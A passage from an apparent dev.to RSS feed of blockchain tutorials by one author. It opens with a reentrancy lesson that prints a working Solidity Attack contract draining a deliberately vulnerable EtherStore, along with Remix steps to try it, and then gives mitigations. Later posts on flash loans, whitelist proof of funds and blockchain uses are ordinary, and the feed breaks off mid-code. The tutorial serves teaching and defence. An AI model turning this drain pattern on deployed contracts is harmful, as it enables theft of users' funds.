&lt;strong&gt;Recursive Call Injection&lt;/strong&gt;: Instead of completing the withdrawal process, the attacker's contract makes a recursive call to the &lt;code&gt;withdraw&lt;/code&gt; function of the &lt;code&gt;EtherStore&lt;/code&gt;. This happens before the original withdrawal transaction updates the attacker's balance to zero.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repeated Withdrawals&lt;/strong&gt;: Each recursive call triggers another withdrawal before the balance is updated, causing the contract to send ETH repeatedly based on the initial balance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Balance Misperception&lt;/strong&gt;: Since the &lt;code&gt;EtherStore&lt;/code&gt; contract only updates the user's balance after transferring funds, it continues to believe the attacker has a balance, thus allowing multiple withdrawals in quick succession.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exploited State&lt;/strong&gt;: This recursive loop continues until the contract's funds are depleted or the gas limit is reached, allowing the attacker to withdraw significantly more ETH than initially deposited.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Attack Contract Code&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The attack contract is designed to exploit the &lt;code&gt;EtherStore&lt;/code&gt;'s vulnerability:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
contract Attack {
    EtherStore public etherStore;
    uint256 constant AMOUNT = 1 ether;


    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }


    function _triggerWithdraw() internal {
        if (address(etherStore).balance &amp;gt;= AMOUNT) {
            etherStore.withdraw();
        }
    }


    fallback() external payable {
        _triggerWithdraw();
    }


    receive() external payable {
        _triggerWithdraw();
    }


    function attack() external payable {
        require(msg.value &amp;gt;= AMOUNT, "Insufficient attack amount");

        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    /**
     * @notice Collects Ether from the Attack contract after the exploit
     */
    function collectEther() public {
        payable(msg.sender).transfer(address(this).balance);
    }

    /**
     * @notice Gets the balance of the Attack contract
     * @return The balance of the contract in wei
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Explanation
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Attack Contract Initialization&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;Attack&lt;/code&gt; contract is initialized with the address of the &lt;code&gt;EtherStore&lt;/code&gt; contract.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;AMOUNT&lt;/code&gt; is set to 1 ETH to ensure a consistent value used in reentrancy checks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fallback and Receive Functions&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Both functions call &lt;code&gt;_triggerWithdraw&lt;/code&gt;, which calls &lt;code&gt;withdraw&lt;/code&gt; on the &lt;code&gt;EtherStore&lt;/code&gt; if it has enough balance. This repeats the withdrawal, exploiting the reentrancy vulnerability.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attack Function&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;attack&lt;/code&gt; function deposits 1 ETH into the &lt;code&gt;EtherStore&lt;/code&gt; and immediately calls &lt;code&gt;withdraw&lt;/code&gt;, starting the reentrancy loop.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Collecting Stolen Ether&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;collectEther&lt;/code&gt; function transfers the contract’s balance to the attacker.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Try It on Remix
&lt;/h2&gt;

&lt;p&gt;Deploy and interact with the contracts on &lt;a href="https://remix.ethereum.org/" rel="noopener noreferrer"&gt;Remix IDE&lt;/a&gt; to observe how the reentrancy attack works in practice. You can use this direct link to load the code into Remix: &lt;a href="https://remix.ethereum.org/#url=https://github.com/passandscore/web3-blogs/blob/main/blog-data/7/contract.sol&amp;amp;lang=en&amp;amp;optimize=false&amp;amp;runs=200&amp;amp;evmVersion=null&amp;amp;version=soljson-v0.8.26+commit.8a97fa7a.js" rel="noopener noreferrer"&gt;Load on Remix&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EtherStore Contract Deployment:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use a dedicated wallet and deploy the &lt;code&gt;EtherStore&lt;/code&gt; contract.&lt;/li&gt;
&lt;li&gt;Deposit 3 ETH using the deposit method.&lt;/li&gt;
&lt;li&gt;Verify the contract balance is 3 ETH.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0u1cdh3wr5zwbo0i1v6u.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0u1cdh3wr5zwbo0i1v6u.jpg" alt="Etherstore Deployment" width="800" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Contract Deployment:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use a dedicated wallet.&lt;/li&gt;
&lt;li&gt;Deploy the &lt;code&gt;Attack&lt;/code&gt; contract with the &lt;code&gt;EtherStore&lt;/code&gt; contract address.&lt;/li&gt;
&lt;li&gt;Deposit 1 ETH and run the attack method.&lt;/li&gt;
&lt;li&gt;Verify that the &lt;code&gt;EtherStore&lt;/code&gt; contract balance is now 0, and the &lt;code&gt;Attack&lt;/code&gt; contract balance is 4 ETH.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqgmf3r4du3ysvbwlhvb.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqgmf3r4du3ysvbwlhvb.jpg" alt="Attack Deployment" width="800" height="464"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;🎉 Congratulations! You’ve just successfully exploited a contract using the reentrancy attack vector.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F83pc2nz9qd87731tz719.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F83pc2nz9qd87731tz719.png" width="800" height="867"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While that was certainly informative, it's my moral responsibility to provide you with solutions that will protect you from such potential attackers.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Mitigation Measures&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;To protect smart contracts from reentrancy attacks, consider the following strategies:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Update State First&lt;/strong&gt;: Always update the contract state before making external calls to prevent reentrant calls from exploiting outdated state information.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use Reentrancy Guards&lt;/strong&gt;: Implement reentrancy guards to prevent functions from being accessed repeatedly within the same transaction. The &lt;a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.6/contracts/security/ReentrancyGuard.sol" rel="noopener noreferrer"&gt;OpenZeppelin ReentrancyGuard&lt;/a&gt; is a widely used and audited solution.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Protected Contract Example&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Below is an example of the &lt;code&gt;EtherStore&lt;/code&gt; contract fully protected using a reentrancy guard.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract EtherStore is ReentrancyGuard {
    mapping(address =&amp;gt; uint256) public balances;

    function withdraw() nonReentrant public {
        uint256 bal = balances[msg.sender];
        require(bal &amp;gt; 0, "Insufficient balance");

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🟢 Added: is ReentrancyGuard to inherit reentrancy protection.&lt;/p&gt;

&lt;p&gt;🟢 Modified: withdraw function with nonReentrant to prevent reentrancy attacks.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;Congratulations on reaching this point! Armed with this knowledge, you now have the tools to both identify and defend against reentrancy attacks.&lt;/p&gt;

&lt;p&gt;This tutorial has demonstrated the mechanics of a reentrancy attack by exploiting a vulnerable function in the &lt;code&gt;EtherStore&lt;/code&gt; contract. It underscores the critical importance of secure coding practices, such as updating state before making external calls and implementing reentrancy guards, to effectively mitigate such vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Connect with me on social media:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://x.com/passandscore" rel="noopener noreferrer"&gt;X&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/passandscore" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/jason-schwarz-75b91482/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>exploit</category>
      <category>solidity</category>
      <category>reentrancy</category>
    </item>
    <item>
      <title>Understanding Flash Loans in DeFi</title>
      <dc:creator>Jason Schwarz</dc:creator>
      <pubDate>Wed, 19 Jun 2024 23:28:06 +0000</pubDate>
      <link>https://dev.to/passandscore/understanding-flash-loans-in-defi-33n6</link>
      <guid>https://dev.to/passandscore/understanding-flash-loans-in-defi-33n6</guid>
      <description>&lt;p&gt;In the realm of decentralized finance (DeFi), opportunities often arise that demand swift action to capitalize on them. One such opportunity is arbitrage: when a token on Dex A can be bought at a lower price than it's being sold for on Dex B, there's potential for significant profit, which scales with the capital at your disposal. In traditional finance, this kind of opportunity is typically reserved for the wealthy. However, DeFi enables broader access, allowing anyone to leverage flash loans to momentarily become a major player in the market.&lt;/p&gt;

&lt;p&gt;A flash loan enables borrowing from a liquidity pool without collateral. This means you can access funds beyond your current holdings to exploit arbitrage opportunities and potentially reap substantial gains in a single transaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does it work?
&lt;/h2&gt;

&lt;p&gt;Liquidity in DeFi pools is provided by liquidity providers who deposit funds to earn profits from transaction fees. Standard pools charge fees per token swap, while those offering flash loans charge fees per loan. Liquidity providers receive pool tokens representing their share and can withdraw their funds, plus fees, at any time.&lt;/p&gt;

&lt;p&gt;Once funds are available, users can initiate loans. The sole requirement for withdrawing a loan is to return the borrowed funds plus fees to the contract within the same transaction. Failure to do so will revert the transaction, maintaining the network's unchanged state.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcu4q6e2aynlfwklwqyxb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcu4q6e2aynlfwklwqyxb.png" alt="Withdraw a Loan" width="800" height="356"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With funds now in their possession, users can utilize them as needed. To capitalize on arbitrage opportunities, users purchase tokens on Dex A using the loaned amount. Subsequently, they sell these tokens on Dex B at a higher value. Finally, users repay the loan plus fees to the flash loan contract, keeping the profit generated from the opportunity.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwyziv3izm027i2rjyuc5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwyziv3izm027i2rjyuc5.jpg" alt="Execute Opportunity &amp;amp; Payback Loan" width="800" height="667"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Are flash loans a vulnerability?
&lt;/h3&gt;

&lt;p&gt;Flash loans themselves are not vulnerabilities. Instead, they are a feature provided by decentralized finance (DeFi) protocols that allow users to borrow assets without collateral as long as the borrowed amount is returned within the same transaction. However, flash loans can be used by attackers to exploit vulnerabilities or weaknesses in smart contracts or protocols.&lt;/p&gt;

&lt;h3&gt;
  
  
  Flash loan attacks
&lt;/h3&gt;

&lt;p&gt;Arbitrage, though not inherently malicious, can be perceived as an exploit since it leverages price discrepancies across decentralized exchanges. However, flash loan attacks are a genuine concern and have led to substantial financial losses.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Flash Loan Attack Types:&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Arbitrage:&lt;/strong&gt; Attackers can exploit price discrepancies between different decentralized exchanges (DEXs) using flash loans for arbitrage trades. Though not always malicious, this can result in losses for legitimate traders.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Price manipulation:&lt;/strong&gt; Attackers can use flash loans to manipulate cryptocurrency prices by artificially inflating or deflating their value, leading to significant losses for traders with orders based on these distorted prices.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Smart contract exploits:&lt;/strong&gt; Attackers can exploit vulnerabilities in DeFi smart contracts, such as reentrancy bugs or integer overflow errors, using flash loans. This allows them to steal funds from the protocol or carry out other attacks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Real-World Cases Of Flash Loan Attacks&lt;/strong&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Balancer: $2.5 million (August 2023)&lt;/li&gt;
&lt;li&gt;Curve Finance: $70 million (July 2023)&lt;/li&gt;
&lt;li&gt;Euler Finance: $197 million (March 2023)&lt;/li&gt;
&lt;li&gt;Cream Finance: $130 million (October 2021)&lt;/li&gt;
&lt;li&gt;Harvest Finance: $34 million (October 2020)&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Prevent Flash Loan Attacks&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reentrancy Guards:&lt;/strong&gt; Implement reentrancy guards to prevent functions from being called repeatedly in the same transaction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decentralized Oracles:&lt;/strong&gt; Use decentralized price oracles (e.g., Chainlink) that aggregate data from multiple sources to resist manipulation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conduct Thorough Audits:&lt;/strong&gt; Regularly audit smart contracts with reputable security firms to identify and fix vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practical Examples
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Aave:&lt;/strong&gt; Uses time-weighted average price (TWAP) oracles and strict liquidation policies to minimize the risk of price manipulation via flash loans.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compound:&lt;/strong&gt; Employs decentralized oracles and collateralization mechanisms to reduce the impact of flash loan attacks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Uniswap:&lt;/strong&gt; Incorporates TWAP and decentralized pricing mechanisms to mitigate price manipulation risks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Synthetix:&lt;/strong&gt; Implements multi-sig governance for critical updates and relies on decentralized oracles for price feeds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Balancer:&lt;/strong&gt; Uses circuit breakers and multi-sig approvals for critical changes to prevent rapid, unauthorized changes in the protocol.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;p&gt;I view flash loans as a tool that opens access to opportunities in DeFi, enabling any user to capitalize on opportunities that would otherwise be inaccessible. While malicious actors can exploit flash loans to target protocols, these risks can be mitigated. The greatest advantage of DeFi is the ability to create innovative tools like flash loans and continually adapt the ecosystem to reduce the likelihood of exploits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Connect with me on social media:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://x.com/passandscore"&gt;X&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/passandscore"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/jason-schwarz-75b91482/"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Managing Whitelist Overload: Ensuring Effective NFT drops with Proof of Funds</title>
      <dc:creator>Jason Schwarz</dc:creator>
      <pubDate>Tue, 18 Jun 2024 22:44:44 +0000</pubDate>
      <link>https://dev.to/passandscore/managing-whitelist-overload-ensuring-effective-nft-drops-with-proof-of-funds-3cnn</link>
      <guid>https://dev.to/passandscore/managing-whitelist-overload-ensuring-effective-nft-drops-with-proof-of-funds-3cnn</guid>
      <description>&lt;p&gt;How often have you curated a whitelist based on partners and community members, only to find the user count far exceeds the total supply of your upcoming drop? You might assume this guarantees a quick sell-out. However, this is frequently not the case.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem
&lt;/h2&gt;

&lt;p&gt;When the entry barrier is as low as simple social participation, you open the door for users who register without genuine intention or financial ability to purchase the token. This can lead to over-subscription and complex management issues. Moreover, if the drop does not sell out, you're left wondering how this happened despite having what seemed like an ample number of interested users ready to mint.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;p&gt;Offering a whitelist mint exclusively to users who can prove they have the necessary funds provides several strategic and practical advantages. This ensures that only users who are genuinely interested and financially capable of purchasing the tokens secure a place on the whitelist. Such an approach fosters a more engaged and committed community. Additionally, users who demonstrate financial readiness are more likely to complete their purchases, thereby maximizing your overall whitelist conversion rate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Example Implementation
&lt;/h2&gt;

&lt;p&gt;Consider a receive method in a smart contract used for handling the whitelist process. In this scenario, users can self-whitelist by sending Ethereum to the contract. This example includes error handling to verify that self-whitelisting is enabled, the caller is not blacklisted, and the amount of Ether sent is correct. Upon validation, the user's address is added to the whitelist, and their funds are returned. This approach was inspired by Vultisig.&lt;br&gt;
This is only a conceptual example. Do not use this code in production as it has not been audited.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;receive() external payable {
    if (_isSelfWhitelistDisabled) {
        revert SelfWhitelistDisabled();
    }
    if (_isBlacklisted[_msgSender()]) {
        revert Blacklisted();
    }
    if (msg.value != MINT_PRICE) {
        revert InsufficientFunds();
    }
    _addWhitelistedAddress(_msgSender());
    payable(_msgSender()).transfer(msg.value);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Alternative Implementation Methods
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Pre-Signed Transactions: Users might be required to sign a transaction demonstrating they have the funds available.&lt;/li&gt;
&lt;li&gt;Staking Mechanisms: Users may need to stake a certain amount of cryptocurrency to get whitelisted, which can be refunded later.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Further Discussion
&lt;/h2&gt;

&lt;p&gt;Although this article focused on NFTs, the approach of requiring proof of funds for whitelist minting is also valuable for ERC20 tokens, offering numerous advantages beyond the immediate context.&lt;/p&gt;

&lt;p&gt;Enhancing Fairness and Accessibility: By requiring proof of funds, we create a level playing field where only those with verified financial capability can participate. This ensures a more equitable distribution process and helps avoid bots and fake accounts that might otherwise exploit the system.&lt;/p&gt;

&lt;p&gt;Streamlining the Process: Proof of funds simplifies logistics and ensures that participants can immediately fund their purchases. This efficient allocation makes the token distribution process smoother and helps in managing initial token supply dynamics, contributing to price stability.&lt;/p&gt;

&lt;p&gt;Enhancing Security and Compliance: Implementing proof of funds can assist in meeting Anti-Money Laundering (AML) compliance requirements by adding a verification layer. It also mitigates the risk of fraud by ensuring that participants use legitimate and traceable funds.&lt;/p&gt;

&lt;h2&gt;
  
  
  Your Thoughts
&lt;/h2&gt;

&lt;p&gt;What are your thoughts on requiring proof of funds for whitelisting? Can this approach enhance the credibility, fairness, and efficiency of a project?&lt;/p&gt;

&lt;p&gt;I'd love to hear your insights! Share your opinions, and let's continue the conversation in the next article.&lt;/p&gt;

&lt;p&gt;Connect with me on social media:&lt;br&gt;
&lt;a href="https://x.com/passandscore"&gt;X&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/passandscore"&gt;GitHub&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/jason-schwarz-75b91482/"&gt;LinkedIn&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Blockchain is changing our world, one block at a time.</title>
      <dc:creator>Jason Schwarz</dc:creator>
      <pubDate>Thu, 22 Apr 2021 16:36:00 +0000</pubDate>
      <link>https://dev.to/passandscore/blockchain-is-changing-our-world-one-block-at-a-time-4h4b</link>
      <guid>https://dev.to/passandscore/blockchain-is-changing-our-world-one-block-at-a-time-4h4b</guid>
      <description>&lt;p&gt;While blockchain is most famous for its role in facilitating the rise of digital currencies over the past several years, there are also many other non-cryptocurrency uses for this technology. Lets look at some of the most popular use cases for blockchain.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cross-Border Payments
&lt;/h2&gt;

&lt;p&gt;Traditionally, the transfer of value has been both expensive and slow, and especially for payments taking place across international borders. One reason for this is that, when multiple currencies are involved, the transfer process typically requires the participation of multiple banks in multiple locations before the intended recipient can actually collect his or her money. There are existing services to help facilitate this process in a faster way, but these tend to by quite expensive.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Blockchain technology has the potential to provide a much faster and cheaper alternative to traditional cross-border payments methods. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Indeed, while typical money remittance costs might be as high as 20% of the transfer amount, blockchain may allow for costs just a fraction of that, as well as guaranteed and real-time transaction processing speeds. There are hurdles to be passed, including regulation of cryptocurrencies in different parts of the world and security concerns. Nonetheless, this is one of the most promising and talked about areas of blockchain technology application.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--O_krfeGK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://unoversity.com/recent_trends/wp-content/uploads/2018/11/Basic-Blockchain-Lingos-01.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--O_krfeGK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://unoversity.com/recent_trends/wp-content/uploads/2018/11/Basic-Blockchain-Lingos-01.jpg" alt="code" width="800" height="419"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Smart Contracts
&lt;/h2&gt;

&lt;p&gt;Smart contracts are often seen as a highly powerful application of blockchain technology. These contracts are actually computer programs that can oversee all aspects of an agreement, from facilitation to execution. When conditions are met, smart contracts can be entirely self-executing and self-enforcing. For proponents of smart contracts, these tools provide a more secure, more automated alternative to traditional contract law, as well as an application that is faster and cheaper than traditional methods.&lt;/p&gt;

&lt;h4&gt;
  
  
  A smart contract, like a vending machine, has logic programmed into it. Here's a simple example of how this vending machine might look like as a smart contract:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;pragma&lt;/span&gt; &lt;span class="nx"&gt;solidity&lt;/span&gt; &lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;VendingMachine&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;// Declare state variables of the contract&lt;/span&gt;
    &lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="kr"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;mapping &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kr"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;cupcakeBalances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// When 'VendingMachine' contract is deployed:&lt;/span&gt;
    &lt;span class="c1"&gt;// 1. set the deploying address as the owner of the contract&lt;/span&gt;
    &lt;span class="c1"&gt;// 2. set the deployed smart contract's cupcake balance to 100&lt;/span&gt;
    &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="kr"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;cupcakeBalances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Allow the owner to increase the smart contract's cupcake balance&lt;/span&gt;
    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;refill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kr"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Only the owner can refill.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;cupcakeBalances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Allow anyone to purchase cupcakes&lt;/span&gt;
